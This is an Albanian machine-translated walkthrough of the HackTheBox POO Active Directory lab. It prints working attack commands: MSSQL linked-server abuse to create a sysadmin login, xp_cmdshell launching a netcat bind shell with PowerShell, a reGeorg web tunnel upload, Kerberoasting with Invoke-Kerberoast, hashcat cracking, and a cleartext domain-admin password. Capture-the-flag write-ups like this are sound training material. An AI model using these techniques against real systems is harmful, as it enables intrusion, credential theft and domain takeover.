HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Në këtë artikull, ne do të analizojmë kalimin jo vetëm të një makinerie, por të një mini-laboratori të tërë nga faqja Kuti hackthebox.

Siç thuhet në përshkrim, POO është krijuar për të testuar aftësitë në të gjitha fazat e sulmeve në një mjedis të vogël Active Directory. Qëllimi është të komprometoni një host të disponueshëm, të përshkallëzoni privilegjet dhe përfundimisht të komprometoni të gjithë domenin duke mbledhur 5 flamuj në proces.

Lidhja me laboratorin bëhet përmes VPN. Rekomandohet të mos lidheni nga një kompjuter që punon ose nga një host ku ka të dhëna të rëndësishme për ju, pasi hyni në një rrjet privat me njerëz që dinë diçka për sigurinë e informacionit 🙂

informacion organizativ
Kështu që ju mund të mësoni për artikuj të rinj, softuer dhe informacione të tjera, kam krijuar Kanali Telegram и grup për të diskutuar çdo çështje në zonën e IIKB. Gjithashtu kërkesat, pyetjet, sugjerimet dhe rekomandimet tuaja personale Unë do të hedh një sy dhe do t'u përgjigjem të gjithëve..

I gjithë informacioni jepet vetëm për qëllime edukative. Autori i këtij dokumenti nuk merr përsipër asnjë përgjegjësi për çdo dëm të shkaktuar dikujt si rezultat i përdorimit të njohurive dhe metodave të marra si rezultat i studimit të këtij dokumenti.

Intro

Kjo lojë e fundit përbëhet nga dy makina dhe përmban 5 flamuj.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Jepet gjithashtu përshkrimi dhe adresa e hostit në dispozicion.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Le të fillojmë!

Recon flamur

Kjo makinë ka një adresë IP prej 10.13.38.11 të cilën e shtoj te /etc/hosts.
10.13.38.11 poo.htb

Hapi i parë është skanimi i porteve të hapura. Duke qenë se kërkon shumë kohë për të skanuar të gjitha portet me nmap, së pari do ta bëj me masscan. Ne skanojmë të gjitha portat TCP dhe UDP nga ndërfaqja tun0 në 500pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Tani, për të marrë informacion më të detajuar në lidhje me shërbimet që funksionojnë në porte, kryeni një skanim me opsionin -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Kështu, ne kemi shërbime IIS dhe MSSQL. Në këtë rast, ne do të zbulojmë emrin e vërtetë DNS të domenit dhe kompjuterit. Në serverin e internetit, ne jemi të përshëndetur nga faqja kryesore e IIS.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Le të përsërisim mbi drejtoritë. Unë përdor gobuster për këtë. Në parametrat specifikojmë numrin e rrymave 128 (-t), URL (-u), fjalorin (-w) dhe shtesat që na interesojnë (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Kështu, ne kemi vërtetimin HTTP për drejtorinë /admin, si dhe skedarin e ruajtjes së shërbimit të desktopit .DS_Store në dispozicion. .DS_Store janë skedarë që ruajnë cilësimet e përdoruesit për një dosje, të tilla si një listë skedarësh, vendndodhjen e ikonave, imazhin e zgjedhur të sfondit. Një skedar i tillë mund të përfundojë në drejtorinë e serverit të uebit të zhvilluesve të uebit. Kështu, marrim informacion në lidhje me përmbajtjen e drejtorisë. Për këtë ju mund të përdorni Zvarritës DS_Store.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Ne marrim përmbajtjen e drejtorisë. Gjëja më interesante këtu është drejtoria /dev, nga e cila mund të shohim burimet dhe skedarët db në dy degë. Por ne mund të përdorim 6 karakteret e para të emrave të skedarëve dhe drejtorive nëse shërbimi është i cenueshëm ndaj IIS ShortName. Ju mund ta kontrolloni këtë dobësi duke përdorur Skaneri i emrit të shkurtër të IIS.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Dhe gjejmë një skedar teksti që fillon me "poo_co". Duke mos ditur se çfarë të bëj më pas, thjesht zgjodha nga fjalori i drejtorive të gjitha fjalët që fillojnë me "co".

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Dhe përsëritni me wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Dhe gjeni fjalën e duhur! Ne e shikojmë këtë skedar, ruajmë kredencialet (duke gjykuar nga parametri DBNAME, ato janë nga MSSQL).

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Ne dorëzojmë flamurin dhe avansojmë me 20%.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Huh flamur

Ne lidhemi me MSSQL, unë përdor DBeaver.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Ne nuk gjejmë asgjë interesante në këtë bazë të dhënash, le të krijojmë një redaktues SQL dhe të kontrollojmë se cilët janë përdoruesit.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Kemi dy përdorues. Le të kontrollojmë privilegjet tona.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Pra, nuk ka privilegje. Le të shohim serverët e lidhur, kam shkruar për këtë teknikë në detaje këtu.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Kështu ne gjejmë një tjetër SQL Server. Le të kontrollojmë ekzekutimin e komandave në këtë server duke përdorur openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Dhe ne madje mund të ndërtojmë një pemë pyetëse.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Fakti është se kur bëjmë një kërkesë në një server të lidhur, kërkesa ekzekutohet në kontekstin e një përdoruesi tjetër! Le të shohim se çfarë konteksti përdorues po ekzekutojmë në serverin e lidhur.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Dhe tani le të shohim se në çfarë konteksti ekzekutohet kërkesa nga serveri i lidhur me tonin!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Kështu, është një kontekst DBO që duhet të ketë të gjitha privilegjet. Le të kontrollojmë privilegjet në rast të një kërkese nga një server i lidhur.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Siç mund ta shihni, ne i kemi të gjitha privilegjet! Le të krijojmë administratorin tonë kështu. Por ata nuk i lejojnë ata përmes openquery, le ta bëjmë atë përmes EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Dhe tani ne lidhemi me kredencialet e përdoruesit të ri, vëzhgojmë bazën e të dhënave të flamurit të ri.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Ne e dorëzojmë këtë flamur dhe shkojmë më tej.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Flamuri i pasme

Le të marrim shell duke përdorur MSSQL, unë jam duke përdorur mssqlclient nga paketa impacket.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Duhet të marrim fjalëkalime dhe gjëja e parë që kemi takuar tashmë është faqja. Kështu, ne kemi nevojë për një konfigurim të serverit në internet (është e pamundur të hedhim një guaskë të përshtatshme, me sa duket muri i zjarrit po funksionon).

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Por qasja është refuzuar. Megjithëse mund ta lexojmë skedarin nga MSSQL, thjesht duhet të dimë se cilat gjuhë programimi janë konfiguruar. Dhe në drejtorinë MSSQL zbulojmë se ekziston Python.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Atëherë nuk ka asnjë problem për të lexuar skedarin web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Me kredencialet e gjetura, shkoni te /admin dhe merrni flamurin.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

flamuri i këmbës

Në fakt, ka disa shqetësime nga përdorimi i një muri zjarri, por duke parë cilësimet e rrjetit, vërejmë se përdoret edhe protokolli IPv6!

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Shto këtë adresë te /etc/hosts.
dead:babe::1001 poo6.htb
Le të skanojmë përsëri hostin, por këtë herë përmes IPv6.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Dhe shërbimi WinRM është i disponueshëm përmes IPv6. Le të lidhemi me kredencialet e gjetura.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Ka një flamur në desktop, dorëzojeni atë.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

P00ned flamur

Pas zbulimit në host me bizele nuk gjejmë ndonjë gjë të veçantë. Pastaj u vendos që të kërkoja përsëri kredencialet (kam shkruar edhe për këtë temë një artikull). Por nuk mund t'i merrja të gjitha SPN-të nga sistemi nëpërmjet WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Le të ekzekutojmë komandën përmes MSSQL.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Në këtë mënyrë, marrim SPN-në e përdoruesve p00_hr dhe p00_adm, që do të thotë se ata janë të prekshëm ndaj një sulmi të tillë si Kerberoasting. Me pak fjalë, ne mund të marrim hash-et e fjalëkalimeve të tyre.

Së pari ju duhet të merrni një guaskë të qëndrueshme në emër të përdoruesit MSSQL. Por duke qenë se jemi të kufizuar në akses, ne kemi një lidhje me hostin vetëm përmes porteve 80 dhe 1433. Por është e mundur të tunelezohet trafiku përmes portit 80! Për këtë përdorim aplikimi i radhës. Le të ngarkojmë skedarin tunnel.aspx në drejtorinë kryesore të serverit në internet - C: inetpubwwwroot.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Por kur përpiqemi ta aksesojmë, na del një gabim 404. Kjo do të thotë që skedarët *.aspx nuk ekzekutohen. Për të ekzekutuar skedarët me këto shtesa, instaloni ASP.NET 4.5 si më poshtë.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Dhe tani, kur hyjmë në tunnel.aspx, marrim përgjigjen se gjithçka është gati për të shkuar.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Le të fillojmë pjesën e klientit të aplikacionit, e cila do të transmetojë trafikun. Ne do të përcjellim të gjithë trafikun nga porti 5432 në server.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Dhe ne përdorim proxychains për të dërguar trafikun e çdo aplikacioni përmes përfaqësuesit tonë. Le ta shtojmë këtë përfaqësues në skedarin e konfigurimit /etc/proxychains.conf.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Tani le të ngarkojmë programin në server netcat, me të cilën do të bëjmë një guaskë të qëndrueshme bind, dhe skriptin Thirr Kerberoast, me të cilin do të kryejmë sulmin Kerberoasting.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Tani, përmes MSSQL, ne lëshojmë dëgjuesin.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Dhe ne lidhemi përmes përfaqësuesit tonë.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Dhe le të marrim hash-et.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Tjetra, ju duhet të përsërisni mbi këto hash. Meqenëse rock ju nuk kishit një fjalor të të dhënave të fjalëkalimit, unë përdora TË GJITHË fjalorët e fjalëkalimeve të dhëna në Seclists. Për numërim ne përdorim hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Dhe ne i gjejmë të dy fjalëkalimet, të parin në fjalorin dutch_passwordlist.txt dhe të dytin në Keyboard-Combinations.txt.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Dhe kështu kemi tre përdorues, shkojmë te kontrolluesi i domenit. Le të zbulojmë fillimisht adresën e tij.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

E shkëlqyeshme, ne kemi mësuar adresën IP të kontrolluesit të domenit. Le të zbulojmë të gjithë përdoruesit e domenit, si dhe cili prej tyre është administrator. Për të shkarkuar skriptin për të marrë informacion PowerView.ps1. Pastaj ne do të lidhemi duke përdorur evil-winrm, duke specifikuar drejtorinë me skriptin në parametrin -s. Dhe pastaj thjesht ngarkoni skriptin PowerView.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Tani kemi akses në të gjitha funksionet e tij. Përdoruesi p00_adm duket si një përdorues i privilegjuar, kështu që ne do të punojmë në kontekstin e tij. Le të krijojmë një objekt PSCredential për këtë përdorues.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Tani të gjitha komandat e Powershell ku ne specifikojmë Creds do të ekzekutohen në emër të p00_adm. Le të shfaqim një listë të përdoruesve dhe atributin AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Dhe kështu, përdoruesi ynë është vërtet i privilegjuar. Le të shohim se në çfarë grupesh bën pjesë.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Më në fund konfirmojmë që përdoruesi është një administrator domeni. Kjo i jep të drejtën të identifikohet nga distanca në kontrolluesin e domenit. Le të përpiqemi të identifikohemi me WinRM duke përdorur tunelin tonë. Unë u hutova nga gabimet e lëshuara nga reGeorg kur përdor evil-winrm.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Pastaj ne përdorim një tjetër, më të lehtë, skenar për t'u lidhur me WinRM. Hapni dhe ndryshoni parametrat e lidhjes.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Ne përpiqemi të lidhemi dhe jemi në sistem.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Por nuk ka flamur. Pastaj shikoni përdoruesin dhe kontrolloni desktopët.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Në mr3ks gjejmë flamurin dhe laboratori është 100% i kompletuar.

HackTheBoxendgame. Kalimi i Operacioneve Ofensive Profesionale të laboratorit. Lista Aktive Pentest

Kjo eshte e gjitha. Si reagim, komentoni nëse keni mësuar diçka të re nga ky artikull dhe nëse ishte e dobishme për ju.

Mund të na bashkoheni në Telegram. Aty mund të gjeni materiale interesante, kurse të bashkuara, si dhe softuer. Le të mbledhim një komunitet në të cilin do të ketë njerëz që kuptojnë shumë fusha të TI-së, atëherë ne mund të ndihmojmë gjithmonë njëri-tjetrin për çdo çështje të IT-së dhe sigurisë së informacionit.

Burimi: www.habr.com

Shto një koment